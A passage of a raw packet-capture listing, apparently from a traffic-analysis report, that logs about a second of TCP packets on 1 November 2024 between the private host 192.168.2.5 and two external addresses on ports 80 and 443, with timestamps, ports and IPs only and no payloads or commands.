Nov 1, 2024 05:53:15.884157896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884167910 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884170055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884181976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884195089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884196043 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884210110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884211063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884222984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884223938 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884232044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884243965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884246111 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884262085 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884263039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884274006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884280920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884284973 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884295940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884305954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884308100 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884319067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884329081 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884345055 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.919897079 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919907093 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919922113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919934988 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919944048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919956923 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.919967890 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.919991970 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920046091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920057058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920068026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920078993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920090914 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920103073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920191050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920200109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920209885 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920222044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920232058 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920244932 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920274019 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920336962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920348883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920383930 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920411110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920423031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920454025 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920526028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920537949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920547962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920566082 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920581102 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920656919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920670033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920690060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920700073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920723915 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920819044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920830011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920840025 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920852900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920861006 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920865059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920875072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.920886040 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920901060 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.920922041 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921066999 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921078920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921088934 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921101093 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921111107 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921118975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921128988 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921128988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921154022 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921180010 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921325922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921335936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921346903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921359062 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921370029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921370029 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921382904 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921394110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921412945 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921523094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921559095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921662092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921674013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921683073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921696901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921706915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921706915 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921719074 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921720028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921732903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921736956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921745062 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921760082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921763897 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921772003 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921780109 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921781063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921794891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921807051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.921808958 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921832085 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.921842098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922146082 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922157049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922192097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922255039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922266006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922276020 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922288895 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922297955 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922301054 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922307968 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922312975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922323942 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922324896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922336102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922338963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922346115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922357082 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922358036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922368050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922385931 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922400951 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922797918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922807932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922820091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922830105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922841072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922842979 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922849894 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922858000 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922862053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922873020 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922883987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922884941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922895908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922895908 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922904968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922915936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922926903 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922931910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922944069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922950983 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922955990 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.922966957 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.922991037 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923296928 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923307896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923321962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923332930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923346043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923351049 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923351049 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923376083 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923456907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923468113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923475981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923486948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923495054 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923497915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923505068 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923508883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923520088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923530102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923533916 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923543930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923552990 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923553944 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923563004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923572063 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923573971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923583984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923593044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923594952 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923605919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923616886 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923624039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923628092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923636913 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923640013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.923662901 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.923687935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924391985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924407959 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924417019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924427986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924432993 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924439907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924446106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924451113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924462080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924469948 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924473047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924483061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924484968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924495935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924505949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924510956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924518108 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924527884 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924530029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924540043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924551010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924551964 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924561024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924561024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924571991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924581051 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924582958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924595118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924604893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924614906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924624920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.924627066 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.924652100 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925292969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925303936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925314903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925324917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925334930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925342083 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925348043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925355911 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925362110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925373077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925374031 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925384045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925395966 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925400972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925406933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925419092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925426006 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925430059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925440073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925442934 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925468922 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925765038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925777912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925787926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.925817013 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.925827980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.963548899 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963601112 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963633060 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963650942 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.963663101 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963675976 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963716984 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.963722944 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963732958 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963768959 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.963782072 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.963934898 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.963941097 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.964238882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.964279890 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.964289904 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.964291096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.964315891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.966355085 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.966399908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.966411114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.966447115 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002509117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002537012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002563000 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002577066 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002593994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002639055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002650976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002696991 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002720118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002737045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002765894 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002793074 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002897024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002908945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002919912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002933979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002943039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002943993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.002957106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.002983093 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003156900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003201962 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003268003 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003279924 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003290892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003304005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003310919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003320932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003329039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003334999 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003345013 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003349066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003366947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003371954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003393888 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003545046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003561974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003598928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003763914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003776073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003784895 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003797054 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003806114 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003813028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003818989 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003824949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003835917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003844976 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003848076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003858089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003869057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003870964 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003880024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003881931 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003894091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003896952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003905058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003916979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003922939 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003928900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003945112 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003946066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.003962994 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.003985882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004647017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004657030 CET	80	49987	185.215.113.16	192.168.2.5
